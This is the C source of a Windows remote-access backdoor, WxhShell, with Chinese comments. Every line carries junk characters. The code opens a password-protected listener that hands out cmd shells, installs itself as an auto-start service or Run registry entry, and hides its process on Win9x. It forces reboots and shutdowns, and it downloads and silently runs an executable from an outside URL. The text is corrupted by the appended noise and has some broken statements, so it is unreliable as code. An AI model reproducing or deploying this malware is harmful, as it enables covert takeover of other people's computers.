    if(Boot(SHUTDOWN)) ){.J`X5r  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); IiV#V  
    else { (HUGgX"=  
    closesocket(wsh); ;-koMD!2F  
    ExitThread(0); ;S FmbZ%~  
    } lilKYrUmG  
    break; qOKC2WD  
    } ]eJjffx  
  // 获取shell !:[kS1s>M  
  case 's': { tilL7  
    CmdShell(wsh); 79>8tOuo  
    closesocket(wsh); `euk&]/^.)  
    ExitThread(0); +=y ktf  
    break; ms%Ot:uA  
  } o9:GKc  
  // 退出 F+`DfI]/m  
  case 'x': { IJ%S[>  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0);  jJjD)  
    CloseIt(wsh); *Iu .>nw  
    break; Zh WtY  
    } # Z*nc0C  
  // 离开 b (,X3x*  
  case 'q': { K_J o^BZ  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); Xj\SJ*  
    closesocket(wsh); o'3t(dyyH  
    WSACleanup(); Xjal6e)[  
    exit(1); 3huT T"G  
    break; bm{L6D E  
        } |xTf:@hgHf  
  } l/BE~gdl  
  } \@kY2,I V  
wNuS'P_(:T  
  // 提示信息 }@pe `AF^  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); mySm:ToT  
} 1f 0"z1   
  } T#1>pED  
]Qp0|45=  
  return; G;+hc%3y  
} -L/5Nbup  
MK]S205{  
// shell模块句柄 }{^i*T5rl  
int CmdShell(SOCKET sock) z/7H/~d  
{ ")U`Wgx  
STARTUPINFO si; >mT< AQ  
ZeroMemory(&si,sizeof(si));  KUfk5Y  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; :;u~M(R  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; N~ -N Q  
PROCESS_INFORMATION ProcessInfo; %^=fjJGV{~  
char cmdline[]="cmd"; Fc;)p88[  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); #![i {7  
  return 0; Ml)Xq-&wc  
} "R$ee^  
JF>mybB  
// 自身启动模式  ##7,  
int StartFromService(void) 2#nn}HEOC  
{ '|e5cW6z  
typedef struct Dg_/Iu>OAE  
{ (U/xpj}  
  DWORD ExitStatus; ;bd\XHwMUP  
  DWORD PebBaseAddress; 47"ERfP  
  DWORD AffinityMask; " [=Ee[/  
  DWORD BasePriority; 2-| oN/FD  
  ULONG UniqueProcessId; #gOITXKs  
  ULONG InheritedFromUniqueProcessId; 0\AYUa?RM  
}   PROCESS_BASIC_INFORMATION; B@]( ,  
L4aT=of-  
PROCNTQSIP NtQueryInformationProcess; I\sCH  
(r,RwWYm  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; #jV6w=I  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; Mi\f?  
S8" h9|  
  HANDLE             hProcess; EX8:B.z`57  
  PROCESS_BASIC_INFORMATION pbi; J#CF SG  
t=~5 I >  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); nTj Q4y  
  if(NULL == hInst ) return 0; .1MXQLy  
|pr~Ohz  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 0[0</"K%1m  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ^HKxaW9W  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); `3r*Ae  
p&bQ_XOH  
  if (!NtQueryInformationProcess) return 0; 4qjY,QJ  
G%anot  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); J3Q.6e=7  
  if(!hProcess) return 0; SSi}1  
(@`+Le  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; *#EyfMz-B  
!.iA^D//]  
  CloseHandle(hProcess); * Yov>lO  
>k^=+  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 3Nw9o6`U  
if(hProcess==NULL) return 0; E/_=0t  
^zqz$G#  
HMODULE hMod; <?Fgm1=o  
char procName[255]; v}-'L#6  
unsigned long cbNeeded; z@&_3 Gl  
R\yw9!ESd  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ms3Ec`i9  
vVKiE 6^  
  CloseHandle(hProcess); %@*diJ  
hdN3r{  
if(strstr(procName,"services")) return 1; // 以服务启动 \u,hS*v0  
&nj@t>5Bs$  
  return 0; // 注册表启动 U,Z.MP Q  
} =bf-+gZD  
*8"5mC ;"  
// 主模块 Czb@:l%sc  
int StartWxhshell(LPSTR lpCmdLine) HI']{2p2}t  
{ Qd]-i3^0  
  SOCKET wsl; Old5E&  
BOOL val=TRUE; M&@9B)|=  
  int port=0; Abce]-E  
  struct sockaddr_in door; j/wNPB/NM  
nb22b Xt  
  if(wscfg.ws_autoins) Install(); n7X3aoVV  
s<z{(a  
port=atoi(lpCmdLine); 4jis\W}%L3  
if:2sS9r  
if(port<=0) port=wscfg.ws_port; i/oaKpPN  
S! ,.#e(Y  
  WSADATA data; ]=q?= %H  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; |...T 4:^Y  
w{K_+}fAC  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   GC$Hp!H  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val));  V '^s5  
  door.sin_family = AF_INET; .knRH^  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); lpve Yz  
  door.sin_port = htons(port); d'^jek h  
|; {wy  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { .'+Tnu(5q  
closesocket(wsl); $CHr i|  
return 1; 1>57rx"l  
} ^"l>;.w  
wp.<}=|u  
  if(listen(wsl,2) == INVALID_SOCKET) { y| @[?B  
closesocket(wsl); H <F6o-*  
return 1; J9I!d.U  
} Gt\F),@  
  Wxhshell(wsl); Lc+wS@  
  WSACleanup(); K-k;`s#  
v?!x,H$Qd  
return 0; 69r<Z  
398}a!XM  
} gjL>FOe8u  
lXW.G  
// 以NT服务方式启动 WZ@nuK.39T  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) *'PG@S  
{ E;D9S  
DWORD   status = 0; e][U ;  
  DWORD   specificError = 0xfffffff; : B$ d  
XL g6?Nu  
  serviceStatus.dwServiceType     = SERVICE_WIN32; _hAp@? M  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; OPBnU@=R  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; q%Obrk  
  serviceStatus.dwWin32ExitCode     = 0; M<~z=B#  
  serviceStatus.dwServiceSpecificExitCode = 0; ~naL1o_FZ  
  serviceStatus.dwCheckPoint       = 0; h+CTi6-p  
  serviceStatus.dwWaitHint       = 0; ,V.X-`Y  
5sFp+_``  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); %@kmuz??  
  if (hServiceStatusHandle==0) return; V8`t7[r  
MPT*[&\-  
status = GetLastError(); 2m[z4V@`  
  if (status!=NO_ERROR) E]6;nY?  
{ C:l /%   
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; hqD]^P>l1  
    serviceStatus.dwCheckPoint       = 0; C{-e(G`Yd  
    serviceStatus.dwWaitHint       = 0; B Lw ssr.  
    serviceStatus.dwWin32ExitCode     = status; [[Qu|?KEa  
    serviceStatus.dwServiceSpecificExitCode = specificError; =d.Z:L9d  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); { >bw:^F  
    return; FJp~8 x=  
  } d*3k]Ie%5f  
(Pbdwzao  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; w2YfFtgD,  
  serviceStatus.dwCheckPoint       = 0; M{3He)&  
  serviceStatus.dwWaitHint       = 0; *Jmy:C<>  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); P< O[S  
} o.k eM4OQ  
+/-#yfn!TR  
// 处理NT服务事件,比如:启动、停止 NK$k9,  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 2"c $#N  
{ a~9U{)@F  
switch(fdwControl) hcWkAR  
{ 37T<LU  
case SERVICE_CONTROL_STOP: >j|.pi  
  serviceStatus.dwWin32ExitCode = 0; 9`$fU)K[Pl  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; go@UE2qw  
  serviceStatus.dwCheckPoint   = 0; /al(=zf  
  serviceStatus.dwWaitHint     = 0; @'/\O-  
  { 1<\@i{;xsU  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ow>^(>^~  
  } Ym8G=KA  
  return; O0i_h<T  
case SERVICE_CONTROL_PAUSE: o(u&n3Q'  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; '_@Y  
  break; 5nkx8JJ  
case SERVICE_CONTROL_CONTINUE:  .]k+hc`  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; C~yfuPr\B  
  break; 1*Yf[;L  
case SERVICE_CONTROL_INTERROGATE: V&eti2 &zO  
  break; UMma|9l(i  
}; Gvb>M=9  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); wbyY?tH  
} nz3j";d  
p'0jdb :S  
// 标准应用程序主函数 \=kH7 !  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) T\{ on[O  
{ 7*r Q6rAP  
3qXOsa7  
// 获取操作系统版本 <_dyUiT$J  
OsIsNt=GetOsVer(); `kpX}cKK}  
GetModuleFileName(NULL,ExeFile,MAX_PATH); X2}\i5{  
hJ (Q^Z  
  // 从命令行安装 1j`-lD  
  if(strpbrk(lpCmdLine,"iI")) Install(); Q&opnvN  
lQ<2Vw#Yl  
  // 下载执行文件 +\fr3@Yc  
if(wscfg.ws_downexe) { =!*e; L  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) t>)iC)^u  
  WinExec(wscfg.ws_filenam,SW_HIDE); C\ZL*,%}  
} Vl%AN;o  
m.iCGX  
if(!OsIsNt) { rr>QG<i;G  
// 如果时win9x,隐藏进程并且设置为注册表启动 o8-BTq8  
HideProc(); {Kx eH7S  
StartWxhshell(lpCmdLine); w4Qqo(  
} j&6,%s-M`a  
else GvF8S MO[x  
  if(StartFromService()) '_lyoVP  
  // 以服务方式启动 zH0%; o}  
  StartServiceCtrlDispatcher(DispatchTable); [ >O4hifq  
else GbFLu`Iu  
  // 普通方式启动 y< W?hE[  
  StartWxhshell(lpCmdLine); 5x(`z   
AjKP -[  
return 0; J;W(}"cFq  
} x%pC.0%  
g{.>nE^Sc5  
%0fF_OU  
`KqMcAW  
=========================================== Dd-;;Y1C  
Sf);j0G,D  
w17\ \[  
F[<EXLQ  
Y9Q-<~\z  
SpPG  
" an_qE}P  
Jkzt=6WZ0  
#include <stdio.h> X6kB R  
#include <string.h> rbiNp6AdL  
#include <windows.h> |s-q+q{|  
#include <winsock2.h> }__g\?Yf  
#include <winsvc.h> R7;SZo  
#include <urlmon.h> IfzHe8>  
veFl0ILd  
#pragma comment (lib, "Ws2_32.lib") Gtd!Y x  
#pragma comment (lib, "urlmon.lib") )xX(Et6+`  
"nPmQ  
#define MAX_USER   100 // 最大客户端连接数 Fq!12/Nn  
#define BUF_SOCK   200 // sock buffer F1J Sf&8  
#define KEY_BUFF   255 // 输入 buffer %Koc^ pb)  
4:q<<vCJv  
#define REBOOT     0   // 重启 kMWu%,s4  
#define SHUTDOWN   1   // 关机 bj\v0NKN4  
{_0Efc=7  
#define DEF_PORT   5000 // 监听端口 WMnR+?q  
S+py \z%  
#define REG_LEN     16   // 注册表键长度 t j&+HC  
#define SVC_LEN     80   // NT服务名长度 [HI&>dm=$  
]wh8m1  
// 从dll定义API I<e[/#5P\`  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); / d=i 0E3  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); r=Z#"68$  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); Rp4EB:*  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); pJrc\`D  
z~Ph=1O>p  
// wxhshell配置信息 X0 O0Y>"  
struct WSCFG { X|K"p(N  
  int ws_port;         // 监听端口 !8yw!hA  
  char ws_passstr[REG_LEN]; // 口令 ML'4 2z Y  
  int ws_autoins;       // 安装标记, 1=yes 0=no jIv%?8+%  
  char ws_regname[REG_LEN]; // 注册表键名  *Dtwr  
  char ws_svcname[REG_LEN]; // 服务名 nr*~R-,\  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 DeE-M"  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 m^rgzx19?  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 Y:[WwX|  
int ws_downexe;       // 下载执行标记, 1=yes 0=no Ja>UcE29  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" cN0|! nm*  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 1|bu0d\]  
eZ5UR014  
}; "~Twx]Z  
jY EB`&  
// default Wxhshell configuration DnvJx!#R  
struct WSCFG wscfg={DEF_PORT, }M'h 5x  
    "xuhuanlingzhe", q$z#+2u  
    1, #gq4%;  
    "Wxhshell", RBIf6oxdE  
    "Wxhshell", #u~s,F$De  
            "WxhShell Service", j2# nCU54Z  
    "Wrsky Windows CmdShell Service", :#0uy1h  
    "Please Input Your Password: ", u3vBMe0v[  
  1, ,C2qP3yg  
  "http://www.wrsky.com/wxhshell.exe", "u5Hm ^H  
  "Wxhshell.exe" ]y3V ^W#  
    }; RmxgCe(2a  
pW7vY)hj  
// 消息定义模块 K&0op 4&  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; [R CUP.  
char *msg_ws_prompt="\n\r? for help\n\r#>"; Gc>bli<-  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; x^Tjs<#  
char *msg_ws_ext="\n\rExit."; @GqPU,RO  
char *msg_ws_end="\n\rQuit."; 1{4d)z UB  
char *msg_ws_boot="\n\rReboot..."; [Av#Z)R  
char *msg_ws_poff="\n\rShutdown..."; fN~kd m.  
char *msg_ws_down="\n\rSave to "; Mnyg:y*=  
T0s7aw[zm  
char *msg_ws_err="\n\rErr!"; %^[45e  
char *msg_ws_ok="\n\rOK!"; S>O fUrt  
0Ge*\Q  
char ExeFile[MAX_PATH]; 8*kZ.-T B  
int nUser = 0; )QE7$|s  
HANDLE handles[MAX_USER]; vK6YU9W~J  
int OsIsNt; t1?e$s  
r7Bv?M^!  
SERVICE_STATUS       serviceStatus; `)e;bLP  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; c[E{9wp v  
#&0)kr66  
// 函数声明 ZOc1 vj  
int Install(void); fiOc;d8  
int Uninstall(void); 8T92;.~(  
int DownloadFile(char *sURL, SOCKET wsh); | qtdmm  
int Boot(int flag); KY H*5  
void HideProc(void); @*q WV*$h  
int GetOsVer(void); v'Ce|.;  
int Wxhshell(SOCKET wsl); *F*c  
void TalkWithClient(void *cs); D5fJuT-bp  
int CmdShell(SOCKET sock); W/ZmG]sZE  
int StartFromService(void); #q`[(`Bx  
int StartWxhshell(LPSTR lpCmdLine); 9C}Ie$\  
R~8gw^w![  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); (Z5=GJM?$  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); tagkklJ~  
t+Kxww58  
// 数据结构和表定义 C-d|;R}Ww  
SERVICE_TABLE_ENTRY DispatchTable[] = }qmBn`3R  
{ u8qL?Aj^  
{wscfg.ws_svcname, NTServiceMain}, J"QXu M  
{NULL, NULL} _H}y7  
}; %])-+T  
y[[f?rxz>  
// 自我安装 'EU{%\qM  
int Install(void) j)ZvlRi,  
{ CN8GeZ-G  
  char svExeFile[MAX_PATH]; ^@ s!"c  
  HKEY key; :J]S+tQ)  
  strcpy(svExeFile,ExeFile); WsRG>w3"  
/_y%b.f^  
// 如果是win9x系统,修改注册表设为自启动 *%1:="W*|  
if(!OsIsNt) { DfwxPt#  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { (1H_V(  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 9 \i;zpN\  
  RegCloseKey(key); q"ba~@<BEl  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { KK4>8zGR  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 0i\ol9,bf  
  RegCloseKey(key); "Pi\I9M3  
  return 0; bcL>S$B  
    } wGa0w*$  
  } ^;+lsEW  
} B%gk[!d}8  
else { ='u'/g$'&  
ha  
// 如果是NT以上系统,安装为系统服务 Je_Hj9#M\d  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); +#8?y 5~q  
if (schSCManager!=0) QwXM<qG*  
{ Hn)K;?H4  
  SC_HANDLE schService = CreateService c:I1XC  
  ( yveyAsN`B  
  schSCManager, Yf.H$L  
  wscfg.ws_svcname, uW%7X2K  
  wscfg.ws_svcdisp, ;e;lPM{+  
  SERVICE_ALL_ACCESS, *- $u\?$  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , hj64ES#x  
  SERVICE_AUTO_START, k| 0Fa}Z[  
  SERVICE_ERROR_NORMAL, cw.Uy(ks|$  
  svExeFile, ?GqFtNz  
  NULL, uA=6 HpDB  
  NULL, oc' #sE  
  NULL, HRIf)n&~f  
  NULL, *V#v6r7<Y/  
  NULL UXD?gK1  
  ); 7Z5,(dH>  
  if (schService!=0) Ht+ng  
  { qY\zZ  
  CloseServiceHandle(schService); (y|{^@  
  CloseServiceHandle(schSCManager); @z"Zj 3ti  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); ^ L'8:  
  strcat(svExeFile,wscfg.ws_svcname); K+2bN KZ0  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { Pc{D,/EpR  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); lz\{ X  
  RegCloseKey(key); *cCr0\Z`  
  return 0; pC(AM=RY!  
    } }<7Dyn,  
  } ,e+.Q#r*Y  
  CloseServiceHandle(schSCManager); 'KpCPOhfR  
} D *W+0  
} dvxD{UH  
/- z_"G  
return 1; 8OH<ppi  
} +JZ<9,4  
G?\o_)IJ  
// 自我卸载 ;d G.oUk=  
int Uninstall(void) 5Zs"CDU  
{ 8B;`9?CI  
  HKEY key; 7p3 ;b"'  
ehCc N4V(  
if(!OsIsNt) { ,]Yjo>`tW  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { + EG.p  
  RegDeleteValue(key,wscfg.ws_regname); 2T5@~^:7u  
  RegCloseKey(key);  s=#IoNh  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { qM3^)U2  
  RegDeleteValue(key,wscfg.ws_regname); X0b :Oiw  
  RegCloseKey(key); 3Zg=ZnF  
  return 0; S;NChu?8  
  } WhE5u&`  
} OzBo *X/p  
} QNFA#`H  
else { KQi9qj  
C yC<{D+  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); FMY r6/I  
if (schSCManager!=0) oV ?tp4&  
{ ~cSC-|$^&  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); C fQj7{  
  if (schService!=0) +f\tqucI3  
  { vq$%Ug/B  
  if(DeleteService(schService)!=0) { \F,?ptu  
  CloseServiceHandle(schService); ;1S{xd*^N  
  CloseServiceHandle(schSCManager); ]w%7/N0R  
  return 0; 6v GcM3M  
  } Gcg`Knr  
  CloseServiceHandle(schService); N\H{p %8  
  } }@@1N3nnxV  
  CloseServiceHandle(schSCManager); 0LoA-c<Ay  
} M7yJ2u<Ty  
} M<7 <L   
Bx E1Ky8@A  
return 1; l,h#RTfry  
} IOF~V)8k=  
HG@!J>YaD  
// 从指定url下载文件 uI%h$  
int DownloadFile(char *sURL, SOCKET wsh) Q9K Gf;  
{ R.A}tV=j#  
  HRESULT hr; !f)'+_d  
char seps[]= "/"; gtJ^8khME  
char *token; ]gTa TY  
char *file; ( NjX?^  
char myURL[MAX_PATH]; {ZbeF#*"  
char myFILE[MAX_PATH]; ~FZLA}  
 _+|*  
strcpy(myURL,sURL); fouy??  
  token=strtok(myURL,seps); '7>Vmr 6  
  while(token!=NULL) QC4_\V>[  
  { jR@-h"2*A  
    file=token; 1|/2%IDUI  
  token=strtok(NULL,seps); :L:;~tK  
  } >~BU<#  
XT>e/x9'  
GetCurrentDirectory(MAX_PATH,myFILE); C'n 9n!hR  
strcat(myFILE, "\\"); N$Gx$u3Cd  
strcat(myFILE, file); b_V)]>v+  
  send(wsh,myFILE,strlen(myFILE),0); 1{o CMq/v  
send(wsh,"...",3,0); "R*B~73  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); P%Q}R[Q  
  if(hr==S_OK) i=o>Bl@f  
return 0; HxZ4t  
else \_x)E]D  
return 1; 5 1 x^gX|  
2:pq|eiF  
} DLS-WL  
pe,c  
// 系统电源模块 dmlh;Z  
int Boot(int flag) fbw {)SZ  
{ [n74&EH  
  HANDLE hToken; ]-x#zp;=  
  TOKEN_PRIVILEGES tkp; \vQ_:-A  
;i:Uoyi  
  if(OsIsNt) { m 7 Fz&bN  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); )QBsyN<x6  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 3J'a  
    tkp.PrivilegeCount = 1; Y#]Y$n  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; W:rzfO.`Z  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); DT9i<kl  
if(flag==REBOOT) { C 2oll-kN  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ^D.B^BR  
  return 0; !+>yCy$~_  
} -v jjcyTt  
else { JAB]kNvI  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) }a<MVG:>SF  
  return 0; r.K4<ly-N  
} Fof_xv9  
  } /E]4N=T  
  else { ew`R=<mZ,7  
if(flag==REBOOT) { "A/kL@-C  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) , R^Pk6m>  
  return 0; saRB~[6I  
} H?'VQ=j  
else { Ab_aB+g ]  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) xVl90ak  
  return 0; 40g&zU-  
} l}O`cC  
} yaX,s 4p  
/$9/,5|EA  
return 1; n]j(tP  
} #=O0-si ]P  
B;K{Vo:C  
// win9x进程隐藏模块 !)\`U/.W  
void HideProc(void) xE6y9"}!h  
{ G&uj}rj  
PTePSj1N  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); *=2jteG=3.  
  if ( hKernel != NULL ) ZV Gw@3  
  { $%t{O[ (  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); fi?[ e?|c@  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); %pwm34  
    FreeLibrary(hKernel); MfL q h  
  } ^k)f oD  
kW,yZ.?f  
return; T|{BT! W1E  
} |f>y"T+1  
9*2hBNp+  
// 获取操作系统版本 !Uj !Oy  
int GetOsVer(void) 8F[j}.8q  
{ cnIy*!cJs  
  OSVERSIONINFO winfo; yRgo1ow]  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 2l!"OiB.P  
  GetVersionEx(&winfo); *|=&MU*+  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) r?[mn^Bo5  
  return 1; tICxAp:  
  else '[juPI(!  
  return 0; eq@ v2o7  
} a"EQldm|d  
"QlCcH`g  
// 客户端句柄模块 +s S*EvF  
int Wxhshell(SOCKET wsl) K^w9@&g6  
{ H@ w6.[#  
  SOCKET wsh; 5#fLGXP  
  struct sockaddr_in client; =x^I 5Pn  
  DWORD myID; Hou{tUm{xC  
M,#t7~t  
  while(nUser<MAX_USER) q7)$WXe2LM  
{ _ssHRbE  
  int nSize=sizeof(client); NeK:[Q@je  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); i#-Jl7V[a  
  if(wsh==INVALID_SOCKET) return 1; #dl8+  
ow$#kQ&R O  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 3] @<.  
if(handles[nUser]==0) RB\WttI  
  closesocket(wsh); W4#:_R,&,  
else 1mjv~W  
  nUser++; 9|e"n|[  
  } _*;cwMne-  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); Zq`bd55~  
,v6Jr3  
  return 0; nQP0<_S  
} ag+ML1#)  
-e)bq: T  
// 关闭 socket nRo`O  
void CloseIt(SOCKET wsh) e;pNB  
{ , m\0IgZdz  
closesocket(wsh); C )I"yeS.  
nUser--; DQ9s57VxC!  
ExitThread(0); T,IV)aq  
} wM yPR_  
n$P v2qw  
// 客户端请求句柄 JRiuU:=J~`  
void TalkWithClient(void *cs) \W\6m0-x  
{ KXM-GIRUG  
.o-j  
  SOCKET wsh=(SOCKET)cs; Lhc@*_2  
  char pwd[SVC_LEN]; >3kR~:;  
  char cmd[KEY_BUFF]; bF Vd v&  
char chr[1]; 6d.m@T6~  
int i,j; RSi0IfG5  
y k5P/H)  
  while (nUser < MAX_USER) { y,r`8  
,,Db:4qfjD  
if(wscfg.ws_passstr) { U'lD|R,g  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); p/5!a~1'xN  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); XnY}dsS O  
  //ZeroMemory(pwd,KEY_BUFF); ]_=HC5"  
      i=0; 8qc %{8  
  while(i<SVC_LEN) { (o:Cxh V  
jK=*~I  
  // 设置超时 (G"qIw   
  fd_set FdRead; * c%@f<R~  
  struct timeval TimeOut; _F*w ,b$8  
  FD_ZERO(&FdRead); (gf\VYM-7  
  FD_SET(wsh,&FdRead); f|G7L5-  
  TimeOut.tv_sec=8; %%Kg'{-:  
  TimeOut.tv_usec=0; Ly<;x^D  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); YH[_0!JY^  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); EGDE4n5>I  
C&st7. (k  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); -#o+x Jj  
  pwd=chr[0]; o"FX+ 17  
  if(chr[0]==0xd || chr[0]==0xa) { v\k,,sI  
  pwd=0; }ri*e2y)  
  break; 2at?9{b  
  } /j)VES  
  i++; g@y" B6X  
    } X|QCa@Foe  
UbibGa= )  
  // 如果是非法用户,关闭 socket 9j2I6lGQ  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); pkU e|V  
} u7C{>  
2%qn !+.  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); Wu4Nq+  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); "[?/I3 {E  
?xo,)``  
while(1) { i]-gO  
F^NR qE  
  ZeroMemory(cmd,KEY_BUFF); ZYt __N  
<D dHP  
      // 自动支持客户端 telnet标准   nMa^Eq#  
  j=0; r:5Ve&~  
  while(j<KEY_BUFF) { Vtg/,1KQ  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 1b7xw#gLx  
  cmd[j]=chr[0]; ,SM- Z`'  
  if(chr[0]==0xa || chr[0]==0xd) { :I'Ezxv|  
  cmd[j]=0; -Wn.@bz6B  
  break; '*XNgvX  
  } QBw ZfX  
  j++; QO7:iSZJ  
    } |Hm'.-   
?iLd5 Z  
  // 下载文件 ^0|NmMJ]  
  if(strstr(cmd,"http://")) { 7 h1"8#X  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); uBTT {GGQ  
  if(DownloadFile(cmd,wsh)) U>+~.|'V9  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); N39nJqo>"  
  else QP[a^5;Tt  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); u,akEvH~a  
  } VqL 5f  
